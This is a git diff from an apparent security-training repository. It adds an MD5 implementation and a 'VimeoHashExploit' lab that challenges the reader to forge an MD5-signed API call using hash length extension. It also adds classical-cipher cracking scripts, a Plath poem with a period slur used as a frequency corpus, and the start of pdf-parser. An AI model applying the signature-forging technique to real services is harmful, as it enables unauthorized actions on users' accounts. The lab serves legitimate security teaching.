64: + self._handle(message[:64]) + message = message[64:] + message += '\x80' + message += '\x00' * ((64 - len(length) - len(message) % 64) % 64) + message += length + while len(message): + self._handle(message[:64]) + message = message[64:] + + def _handle(self, chunk): + w = list(struct.unpack('<' + 'I' * 16, chunk)) + + a, b, c, d = self.A, self.B, self.C, self.D + + for i in range(64): + if i < 16: + f = (b & c) | ((~b) & d) + g = i + elif i < 32: + f = (d & b) | ((~d) & c) + g = (5 * i + 1) % 16 + elif i < 48: + f = b ^ c ^ d + g = (3 * i + 5) % 16 + else: + f = c ^ (b | (~d)) + g = (7 * i) % 16 + + x = b + lrot((a + f + self.k[i] + w[g]) & 0xffffffff, self.r[i]) + a, b, c, d = d, x & 0xffffffff, b, c + + self.A = (self.A + a) & 0xffffffff + self.B = (self.B + b) & 0xffffffff + self.C = (self.C + c) & 0xffffffff + self.D = (self.D + d) & 0xffffffff + + def digest(self): + return struct.pack('+ Signing API Calls \ No newline at end of file diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/info.html b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/info.html new file mode 100644 index 0000000..95bf3e1 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/info.html @@ -0,0 +1,48 @@ +Welcome!+ + + + + + + + + + + + + + + + + + ++ + + + + + + + + + + + +++ + + + + + + + + + ++++
+++
++
- +
++. + ++ ++- +Help + +
+- +Tools + +
+- +Explore + +
+- +Upload + +
+- +Videos + +
+- +
+ ++
+Me +. ++
++++++Developers +/ Advanced API +/ Signing API Calls
+++ + +++Signing method calls is the same for desktop and web based programs. This means on top of the parameters you request, you need to pass your ++api_key
+(not your secret) +and theapi_sig
+based on those parameters.Let's assume that our API key is ++df3f791718032a70119d35d65d8b6d0d
, our shared secret is +sec12345
.Generating a signature is easy and can be done in any programming language. To make our signature, we take a string of the arguments being passed, and prepend our shared secret.+For this example, we'll make a call to ++vimeo.videos.comments.getList()
. Our parameters are the following:+++method+
+video_id
+api_key++ +vimeo.videos.comments.getList
+375747
+df3f791718032a70119d35d65d8b6d0d
+(this is required in every method call) +Now we'll generate the base of our signature by creating a string of our parameter name/value pairs in alphabetical order. Do not escape any characters when generating this string, all characters should be unescaped.+++api_keydf3f791718032a70119d35d65d8b6d0dmethodvimeo.videos.comments.getListvideo_id375747 +
Next, we prepend that string with our shared secret +(green).+++sec12345api_keydf3f791718032a70119d35d65d8b6d0dmethodvimeo.videos.comments.getListvideo_id375747 +
Now we'll take the MD5 hash of the signature and add it to our parameters.+++c5370e4b0c550494ba49d86893a0384f
So the final set of parameters passed to the API will be:++++method+
+video_id
+api_key
+api_sig++ +vimeo.videos.comments.getList
+375747
+df3f791718032a70119d35d65d8b6d0d
+c5370e4b0c550494ba49d86893a0384f
+That's all there is to it! Pretty easy, huh?+++++++Vimeo API
++
+
+- +API Home +
+- +Simple API Documentation +
+- +oEmbed Documentation +
+- +Moogaloop Documentation +
+- +Advanced API Documentation +
++
+- +Web-based authentication +
+- +Desktop-based authentication +
+- +Signing API calls +←
+- +Response formats +
+- +Upload API +
+- Full method list
+- +Sandbox +
+- +Manage your Developer API Keys +
+- API Forum
++++++Vimeo developer highlights
++
+++ + + +++Powered by Vimeo Hubnut +++++
+- +Vimeo: About +/ Blog +/ Roadmap +/ Developers +/ Community Guidelines +/ Forums +/ Toys +/ Help! +/ Site Map +/ Get Vimeo Plus +
+- +Legal: ©2009 Vimeo, LLC +/ Terms & Conditions +/ Privacy Statement +
++++++++ + +++Don't want to see ads?+ +
+Get +Vimeo ++
+ +Docs
+ +Make your requests as POST to/api
in JSON format.
+ +Here is the documentation on how to sign requests.
+ +Intercepted request
+ +Here is an example API call by user {{ user_id }}:
+ +++ ++method+
+api_key
+api_sig++ +vimeo.test.login
+{{ api_key }}
+{{ api_sig }}
+<?xml version="1.0" encoding="UTF-8"?>+ +
<rsp stat="ok">
<user id="{{ user_id }}">
<username>{{ user_name }}</username>
</user>
</rsp>Target
+ +Try to get him to favorite the video number 1337!
+ +Available APIs
+ +vimeo.test.login
++ +Is the user logged in?Returns
<user id="151542"> + <username>ted</username> +</user>vimeo.videos.setFavorite
+diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/ok.xml b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/ok.xml new file mode 100644 index 0000000..90eeeb2 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/ok.xml @@ -0,0 +1,2 @@ + +Set a video as a favorite.Parameters
+
- int +video_id +(required) +- Mark this video as a favorite.
- boolean +favorite +(required) +- If this is "1", "true" or "yes," we'll set this as a favorite. Otherwise use "0", "false", "no."
Returns
This method returns an empty success response.<rsp stat="ok"></rsp>+diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/user.xml b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/user.xml new file mode 100644 index 0000000..7bfa4a4 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/user.xml @@ -0,0 +1,6 @@ + + + diff --git a/Cryptography/README.md b/Cryptography/README.md new file mode 100644 index 0000000..a802ce5 --- /dev/null +++ b/Cryptography/README.md @@ -0,0 +1,3 @@ +# TOOLS: + +- https://www.cryptool.org/en/cryptool1-en \ No newline at end of file diff --git a/Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt b/Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt new file mode 100644 index 0000000..31c2a55 --- /dev/null +++ b/Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt @@ -0,0 +1,31 @@ +Stasis in darkness. +Then the substanceless blue +Pour of tor and distances. +God’s lioness, +How one we grow, +Pivot of heels and knees!—The furrow +Splits and passes, sister to +The brown arc +Of the neck I cannot catch, +Nigger-eye +Berries cast dark +Hooks— +Black sweet blood mouthfuls, +Shadows. +Something else +Hauls me through air— +Thighs, hair; +Flakes from my heels. +White +Godiva, I unpeel— +Dead hands, dead stringencies. +And now I +Foam to wheat, a glitter of seas. +The child’s cry +Melts in the wall. +And I +Am the arrow, +The dew that flies +Suicidal, at one with the drive +Into the red +Eye, the cauldron of morning. \ No newline at end of file diff --git a/Cryptography/RotationCiphers/README.md b/Cryptography/RotationCiphers/README.md new file mode 100644 index 0000000..c5460a1 --- /dev/null +++ b/Cryptography/RotationCiphers/README.md @@ -0,0 +1,6 @@ +CryptoAnalysis +============== + +* Several implementations of Caesar cipher with frequency analysis. + +* Vinegere code. \ No newline at end of file diff --git a/Cryptography/RotationCiphers/caesarCipher.py b/Cryptography/RotationCiphers/caesarCipher.py new file mode 100644 index 0000000..6efc7d3 --- /dev/null +++ b/Cryptography/RotationCiphers/caesarCipher.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +import string + + +FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357, + 0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, + 0.0164, 0.0004] + + + +def delta(freq_word, freq_eng): + # zip together the value from the text and the value from FREQ_EdiffGlist_freqISH + diff = 0.0 + for a, b in zip(freq_word, freq_eng): + diff += abs(a - b) + return diff + + + +def cipher(msg, key): + # Make the cipher + dec = '' + for c in msg.lower(): + if 'a' <= c <= 'z': + dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26) + else: + dec += c + return dec + + + +def frequency(msg): + # Compute the word frequencies + dict_freq = dict([(c,0) for c in string.lowercase]) + diff = 0.0 + for c in msg: + if 'a'<= c <= 'z': + diff += 1 + dict_freq[c] += 1 + list_freq = dict_freq.items() + list_freq.sort() + return [b / diff for (a, b) in list_freq] + + + +def decipher(msg): + # Decipher by frequency + min_delta = 1000 + best_rotation = 0 + freq = frequency(msg) + for key in range(26): + d = delta(freq, FREQ_ENGLISH) + if d < min_delta: + min_delta = d + best_rotation = key + return cipher(msg, -best_rotation) + + + +def decipher_simple(msg): + # very smart way of solving using translate and maketrans methods + diff = (ord('t') - ord(s[0])) % 26 + x = string.ascii_lowercase + x = x[diff:] + x[:diff] + ans = string.translate(s,string.maketrans(string.ascii_lowercase,x)) + return ans + + + +if __name__ == '__main__': + + key = 13 + text = 'hacker school is awesome!' + cip = cipher(text, key) + dec = decipher(cip) + + print "Cipher: " + cip + print "Decipher: " + dec + + assert(text == dec) \ No newline at end of file diff --git a/Cryptography/RotationCiphers/cesarCipher_simple.py b/Cryptography/RotationCiphers/cesarCipher_simple.py new file mode 100644 index 0000000..56eb6be --- /dev/null +++ b/Cryptography/RotationCiphers/cesarCipher_simple.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + + +__author__ = "Mari Wahl" +__email__ = "marina.w4hl@gmail.com" + +''' +Cesar Ecrypt +''' + +import sys + + +def encrypt(message, k): + alphabet = list('abcdefghijklmnopqrstuvwxyz ') + cipher = '' + for c in message: + cipher += alphabet[(alphabet.index(c) + k)%(len(alphabet))] + return cipher + + +def decrypt(message, k): + alphabet = list('abcdefghijklmnopqrstuvwxyz ') + decipher = '' + for c in message: + decipher += alphabet[(alphabet.index(c) - k)%(len(alphabet))] + return decipher + + +def main(): + MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us" + k = 13 + + encrypted_msg = encrypt(MESSAGE, k) + print("Encrypted message: " + encrypted_msg) + + + decrypted_msg = decrypt(encrypted_msg, k) + assert(decrypted_msg == MESSAGE) + + +if __name__ == '__main__': + main() + diff --git a/Cryptography/RotationCiphers/cesarCipher_simple_2.py b/Cryptography/RotationCiphers/cesarCipher_simple_2.py new file mode 100644 index 0000000..a5f5f7c --- /dev/null +++ b/Cryptography/RotationCiphers/cesarCipher_simple_2.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python + + +__author__ = "Mari Wahl" +__email__ = "marina.w4hl@gmail.com" + +''' +Cesar encrypt - better +''' + +import sys + + +def encrypt(message, k): + cipher = '' + for c in message: + c = (ord(c) + k) % 26 + if c < 32: + c += 32 + cipher += chr(c) + return cipher + + + +def decrypt(message, k): + cipher = '' + for c in message: + c = (ord(c) - k) % 26 + if c < 32: + c += 126-32 + cipher += chr(c) + return cipher + + + +def main(): + #MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us" + MESSAGE = 'jxu qdimuh je jxyi ijqwu yi qdimuhxuhu' + for k in range (13, 14): + + #encrypted_msg = encrypt(MESSAGE, k) + #print("Encrypted message: " + encrypted_msg) + + + decrypted_msg = decrypt(MESSAGE, k) + print("Decrypted message: " + decrypted_msg) + + +if __name__ == '__main__': + main() + diff --git a/Cryptography/RotationCiphers/pygenere.py b/Cryptography/RotationCiphers/pygenere.py new file mode 100644 index 0000000..1c28b4d --- /dev/null +++ b/Cryptography/RotationCiphers/pygenere.py @@ -0,0 +1,477 @@ +# PyGenere v 0.3 +# +# Release Date: 2007-02-16 +# Author: Simon Liu+ +{{ user_name }} ++# URL: http://smurfoncrack.com/pygenere +# History and License at end of file + + +r""" +This library implements the Caesar and Vigenere ciphers, allowing a piece of +plaintext to be encoded using a numeric rotation or an alphabetic keyword, +and also decoded if the key/rotation is known. + +In case the key is not known, methods are provided that analyze the ciphertext +and attempt to find the original key and decode the message: these work using +character frequency analysis. English, French, German, Italian, Portuguese, +and Spanish texts are currently supported. Results are generally accurate if +the length of the plaintext is long compared to the length of the key used to +encipher it. + +Example usage: + +>>> from pygenere import * +>>> plaintext = 'Attack at dawn.' +>>> key = 3 +>>> ciphertext = Caesar(plaintext).encipher(key) +>>> ciphertext +'Dwwdfn dw gdzq.' +>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc. +'Attack at dawn.' + +The 'Attack at dawn.' message is too short for the automatic Vigenere decoder +to work properly. A way around this is to concatenate copies of the message +to itself, increasing the amount of text to analyze: + +>>> VigCrack(ciphertext*5).crack_codeword(1) +'D' +>>> VigCrack(ciphertext*5).crack_message() +'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.' + +The crack_message() and crack_codeword() methods in the VigCrack class take 0, +1 or 2 arguments. For more information, see the docstrings for those methods. + +Note that this method (repeating the ciphertext) does not always work, but can +sometimes be of use, as in the case of the example above. + +Both the encipher() and decipher() methods for Vigenere and Caesar objects +return a cipher object of the same type. This makes method chaining possible: + +>>> codeword = 'King' +>>> Vigenere(plaintext).encipher(codeword).decipher(codeword) +'Attack at dawn.' +>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1) +'Attack at dawn.' + +Note: + + 1. Non-alphabetic input (e.g. " " and "." above) is left as is. + 2. The case of the input (plaintext/ciphertext) is preserved. + 3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are + identical keys. + +Since each cipher is a subclass of the built-in str class, any cipher object +can be treated as a string. For instance: + +>>> Vigenere(plaintext).replace(' ', '').lower() +'attackatdawn.' + +However, since Python 2.1 and below don't seem to support subclasses of +the str class, Python 2.2 or newer is required to use this library. + +By default, PyGenere assumes that the original plaintext message was written +in English, and thus English character frequencies are used for analysis. +To change the language, the set_language() method is used. For example, the +following code shows a short French string, encrypted with the keyword +'FR', decoded. Without setting the language first, an incorrect result is +obtained: + +>>> text = 'Non, je ne veux pas coucher avec vous ce soir' +>>> encrypted = Vigenere(text).encipher('FR') +>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2) +FR +>>> print VigCrack(encrypted).crack_codeword(2) +FS + +This isn't always the case: two languages may have similar enough character +frequency distributions that decoding sometimes works correctly even when the +language setting is incorrect. + +Currently, PyGenere's language options other than English are DE (German), +ES (Spanish), FR (French), IT (Italian), and PT (Portuguese). +""" + + +class Caesar(str): + + """An implementation of the Caesar cipher.""" + + def encipher(self, shift): + """Encipher input (plaintext) using the Caesar cipher and return it + (ciphertext).""" + ciphertext = [] + for p in self: + if p.isalpha(): + ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) + + shift) % 26 + ord('Aa'[int(p.islower())]))) + else: + ciphertext.append(p) + return Caesar(''.join(ciphertext)) + + def decipher(self, shift): + """Decipher input (ciphertext) using the Caesar cipher and return it + (plaintext).""" + return self.encipher(-shift) + + +class Vigenere(str): + + """An implementation of the Vigenere cipher.""" + + def encipher(self, key): + """Encipher input (plaintext) using the Vigenere cipher and return + it (ciphertext).""" + ciphertext = [] + k = 0 + n = len(key) + for i in range(len(self)): + p = self[i] + if p.isalpha(): + ciphertext.append(chr((ord(p) + ord( + (key[k % n].upper(), key[k % n].lower())[int(p.islower())] + ) - 2*ord('Aa'[int(p.islower())])) % 26 + + ord('Aa'[int(p.islower())]))) + k += 1 + else: + ciphertext.append(p) + return Vigenere(''.join(ciphertext)) + + def decipher(self, key): + """Decipher input (ciphertext) using the Vigenere cipher and return + it (plaintext).""" + plaintext = [] + k = 0 + n = len(key) + for i in range(len(self)): + c = self[i] + if c.isalpha(): + plaintext.append(chr((ord(c) - ord( + (key[k % n].upper(), key[k % n].lower())[int(c.islower())] + )) % 26 + ord('Aa'[int(c.islower())]))) + k += 1 + else: + plaintext.append(c) + return Vigenere(''.join(plaintext)) + + +class InputError(Exception): + + """This class is only used for throwing exceptions if the user supplies + invalid input (e.g. ciphertext is an empty string).""" + + pass + + +class VigCrack(Vigenere): + + """ + VigCrack objects have methods to break Vigenere-encoded texts when the + original key is unknown. + + The technique used is based on the one described in: + + http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf + (pages 9-10) + + Character frequencies taken from: + http://www.csm.astate.edu/~rossa/datasec/frequency.html (English) + http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish) + http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German) + """ + + # Unless otherwise specified, test for codewords between (and including) + # these two lengths: + __default_min_codeword_length = 5 + __default_max_codeword_length = 9 + + # The following are language-specific data on character frequencies. + # Kappa is the "index of coincidence" described in the cryptography paper + # (link above). + __english_data = { + 'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702, + 'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153, + 'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507, + 'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056, + 'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974, + 'Z':0.074, 'max_val':12.702, 'kappa':0.0667 + } + + __french_data = { + 'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22, + 'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339, + 'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38, + 'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99, + 'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271, + 'Z':0.098, 'max_val':17.22, 'kappa':0.0746 + } + + __german_data = { + 'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693, + 'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191, + 'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285, + 'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742, + 'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032, + 'Z':1.002, 'max_val':16.693, 'kappa':0.0767 + } + + __italian_data = { + 'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24, + 'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035, + 'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11, + 'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76, + 'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048, + 'Z':0.958, 'max_val':11.57, 'kappa':0.0733 + } + + __portuguese_data = { + 'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72, + 'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317, + 'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90, + 'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63, + 'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165, + 'Z':0.400, 'max_val':13.89, 'kappa':0.0745 + } + + __spanish_data = { + 'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89, + 'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461, + 'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58, + 'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49, + 'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14, + 'Z':0.324, 'max_val':13.89, 'kappa':0.0766 + } + + # The default language is set to English. + __lang = 'EN' + __lang_data = __english_data + + # This method sets the lang (__lang) attribute of a VigCrack object. + def set_language(self, language): + self.__lang = language.upper() + if self.__lang == 'DE': + self.__lang_data = self.__german_data + elif self.__lang == 'ES': + self.__lang_data = self.__spanish_data + elif self.__lang == 'FR': + self.__lang_data = self.__french_data + elif self.__lang == 'IT': + self.__lang_data = self.__italian_data + elif self.__lang == 'PT': + self.__lang_data = self.__portuguese_data + else: + self.__lang = 'EN' + return self + + # Rotate text n places to the right, wrapping around at the end. + def __rotate_right(self, n): + cutting_point = len(self) - (n % len(self)) + return self[cutting_point:] + self[:cutting_point] + + # Get every nth char from a piece of text, from a given starting position. + def __get_every_nth_char(self, start, n): + accumulator = [] + for i in range(len(self)): + if (i % n) == start: + accumulator.append(self[i]) + return VigCrack(''.join(accumulator)).set_language(self.__lang) + + # Build a dictionary containing the number of occurrences of each char. + def __count_char_freqs(self): + dictionary = {} + self = self.upper() + for char in self: + if char.isalpha(): + dictionary[char] = dictionary.get(char, 0) + 1 + return dictionary + + # Scale the dictionary so that it can be compared with __lang_data. + def __scale(self, dictionary): + v = dictionary.values() + v.sort() + max_val = v[-1] + scaling_factor = self.__lang_data['max_val']/max_val + for (k, v) in dictionary.items(): + dictionary[k] = v*scaling_factor + return dictionary + + # The residual error is the difference between a char's frequency in + # __lang_data and its frequency in the scaled dictionary from above. + # The error is then squared to remove a possible negative value. + def __sum_residuals_squared(self, dictionary): + sum = 0 + for (k, v) in dictionary.items(): + sum += (v - self.__lang_data[k])**2 + return sum + + # Find the Caesar shift that brings the ciphertext closest to the + # character distribution of the plaintext's language. + def __find_best_caesar_shift(self): + best = 0 + smallest_sum = -1 + # Find the residual sum for each shift. + for shift in range(26): + encoded_text = Caesar(self).encipher(shift) + vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang) + char_freqs = vigcrack_obj.__count_char_freqs() + scaled = vigcrack_obj.__scale(char_freqs) + current_sum = vigcrack_obj.__sum_residuals_squared(scaled) + # Keep track of the shift with the lowest residual sum. + # If there's a tie, the smallest shift wins. + if smallest_sum == -1: + smallest_sum = current_sum + if current_sum < smallest_sum: + best = shift + smallest_sum = current_sum + return best + + def __find_codeword_length(self, min_length, max_length): + codeword_length = min_length + kappas = [] + # Put the kappa value for each codeword length tested into an array. + for i in range(min_length, max_length + 1): + temp = self.__rotate_right(i) + coincidences = 0 + for j in range(len(self)): + if temp[j] == self[j]: + coincidences += 1 + kappas.append(float(coincidences)/len(self)) + # Find out which value of kappa is closest to the kappa of the + # plaintext's language. If there's a tie, the shortest codeword wins. + smallest_squared_diff = -1 + for i in range((max_length + 1) - min_length): + current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2 + if smallest_squared_diff == -1: + smallest_squared_diff = current_squared_diff + if current_squared_diff < smallest_squared_diff: + codeword_length = min_length + i + smallest_squared_diff = current_squared_diff + return codeword_length + + def __find_codeword(self, min_length, max_length): + # Strip away invalid chars. + accumulator = [] + for char in self: + if char.isalpha(): + accumulator.append(char) + alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang) + codeword_length = alpha_only.__find_codeword_length(min_length, + max_length) + # Build the codeword by finding one character at a time. + codeword = [] + for i in range(codeword_length): + temp = alpha_only.__get_every_nth_char(i, codeword_length) + shift = temp.__find_best_caesar_shift() + if shift == 0: + codeword.append('A') + else: + codeword.append(chr(ord('A') + (26 - shift))) + return VigCrack(''.join(codeword)).set_language(self.__lang) + + def __parse_args(self, *arg_list): + if len(arg_list) == 0: # Use default values for codeword length. + min_length = self.__default_min_codeword_length + max_length = self.__default_max_codeword_length + elif len(arg_list) == 1: # Exact codeword length specified by user. + min_length = max_length = int(arg_list[0]) + else: # min_length and max_length given by user. + min_length = int(arg_list[0]) + max_length = int(arg_list[1]) + # Check for input errors. + if min_length == max_length: + if min_length < 1: + raise InputError('Codeword length is too small') + else: + if min_length < 1: + raise InputError('min_length is too small') + if max_length < 1: + raise InputError('max_length is too small') + if max_length < min_length: + raise InputError('max_length cannot be shorter than min_length') + if len(self) == 0: + raise InputError('Ciphertext is empty') + if len(self) < max_length: + raise InputError('Ciphertext is too short') + # Check that the ciphertext contains at least one valid character. + has_valid_char = False + for char in self: + if char.isalpha(): + has_valid_char = True + break + if not has_valid_char: + raise InputError('No valid characters in ciphertext') + # If everything's all right, return the min_length and max_length. + return [min_length, max_length] + + def crack_codeword(self, *arg_list): + """ + Try to find the codeword that encrypted the ciphertext object. + If no arguments are supplied, codewords between the default minimum + length and the default maximum length are tried. + If one integer argument is supplied, only codewords with that length + will be tried. + If two integer arguments are given then the first argument is treated + as a minimum codeword length, and the second argument is treated as a + maximum codeword length, to try. + """ + array = self.__parse_args(*arg_list) + return self.__find_codeword(array[0], array[1]) + + def crack_message(self, *arg_list): + """ + Try to decode the ciphertext object. + This method accepts arguments in the same way as the crack_codeword() + method. + """ + codeword = self.crack_codeword(*arg_list) + return self.decipher(codeword) + + +# History +# ------- +# +# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code +# more compliant with the Python Style Guide +# (http://www.python.org/dev/peps/pep-0008/). +# +# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES), +# French (FR), Italian (IT), and Portuguese (PT). +# +# 2006-04-29: v 0.1. First release. +# +# +# +# License +# ------- +# +# Copyright (c) 2006, Simon Liu +# All rights reserved. +# +# This library incorporates code from the PyCipher project on SourceForge.net +# (http://sourceforge.net/projects/pycipher/). The original copyright notice +# is preserved below as required; these modifications are released under the +# same terms. +# +# +# Copyright (c) 2005, Aggelos Orfanakos +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/Cryptography/RotationCiphers/taste_like_english.py b/Cryptography/RotationCiphers/taste_like_english.py new file mode 100644 index 0000000..31454ea --- /dev/null +++ b/Cryptography/RotationCiphers/taste_like_english.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +__author__ = "Mari Wahl" +__email__ = "marina.w4hl@gmail.com" + +''' +This program calculate the frequency of letters in a files +so we can use this for cryptoanalysis later. + +For example, the 10 most frequent words in english: +e -> 0.104 +t -> 0.072 +a -> 0.065 +0 -> 0.059 +n -> 0.056 +i -> 0.055 +s -> 0.051 +r -> 0.049 +h -> 0.049 +d -> 0.034 +''' + +import chardet +from collections import defaultdict + + +# calculate the mean values from the table +def taste_like_english(dict_mean, word): + mean_word = 0 + counter = 0 + for c in word: + if c in dict_mean.keys(): + mean_word += dict_mean[c] + counter += 1 + return mean_word/counter + + + + +# count number of letters +def count_letters(FILE): + dict_letters = defaultdict(int) + with open(FILE) as file: + for line in file: + for word in line.lower().split(): + for c in word: + if c!='!' and c!="," and c!="-" and c!="."\ + and c!=";" and chardet.detect(c)['encoding'] == 'ascii': + dict_letters[c] += 1 + return dict_letters + + + +# calculate the frequency for the letters +def calculate_mean(dict_letters): + dict_mean = defaultdict(float) + sum_all = sum(dict_letters.values()) + for letter in sorted(dict_letters.keys()): + dict_mean[letter] = float(dict_letters[letter])/sum_all + return dict_mean + + + + +# first, test letters with official values +def test_values(): + dict_letters_test = {'e':0.104, 't':0.072, 'a':0.065, 'o':0.059, \ + 'n': 0.056, 'i': 0.055, 's':0.051, 'r':0.049, 'h':0.049, 'd':0.034} + print('Test for "english": ', taste_like_english(dict_letters_test, 'english')) # == 0.045" + + + +# now, test with some file, creating dictionary of letters +def test_file(): + dict_letters = count_letters(FILE) + dict_mean = calculate_mean(dict_letters) + for key in sorted(dict_mean, key=dict_mean.get, reverse=True): + print(key + ' --> ' + str(dict_mean[key])) + + + + +if __name__ == '__main__': + test_values() + + FILE = 'Ariel_Sylvia_Plath.txt' + test_file() diff --git a/Forensics/pdf-parser.py b/Forensics/pdf-parser.py new file mode 100755 index 0000000..1a86cc4 --- /dev/null +++ b/Forensics/pdf-parser.py @@ -0,0 +1,1031 @@ +#!/usr/bin/python + +__description__ = 'pdf-parser, use it to parse a PDF document' +__author__ = 'Didier Stevens' +__version__ = '0.4.3' +__date__ = '2013/09/18' +__minimum_python_version__ = (2, 5, 1) +__maximum_python_version__ = (3, 3, 0) + +""" +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2008/05/02: continue + 2008/05/03: continue + 2008/06/02: streams + 2008/10/19: refactor, grep & extract functionality + 2008/10/20: reference + 2008/10/21: cleanup + 2008/11/12: V0.3 dictionary parser + 2008/11/13: option elements + 2008/11/14: continue + 2009/05/05: added /ASCIIHexDecode support (thanks Justin Prosco) + 2009/05/11: V0.3.1 updated usage, added --verbose and --extract + 2009/07/16: V0.3.2 Added Canonicalize (thanks Justin Prosco) + 2009/07/18: bugfix EqualCanonical + 2009/07/24: V0.3.3 Added --hash option + 2009/07/25: EqualCanonical for option --type, added option --nocanonicalizedoutput + 2009/07/28: V0.3.4 Added ASCII85Decode support + 2009/08/01: V0.3.5 Updated ASCIIHexDecode to support whitespace obfuscation + 2009/08/30: V0.3.6 TestPythonVersion + 2010/01/08: V0.3.7 Added RLE and LZW support (thanks pARODY); added dump option + 2010/01/09: Fixed parsing of incomplete startxref + 2010/09/22: V0.3.8 Changed dump option, updated PrettyPrint, added debug option + 2011/12/17: fixed bugs empty objects + 2012/03/11: V0.3.9 fixed bugs double nested [] in PrettyPrintSub (thanks kurt) + 2013/01/11: V0.3.10 Extract and dump bug fixes by Priit; added content option + 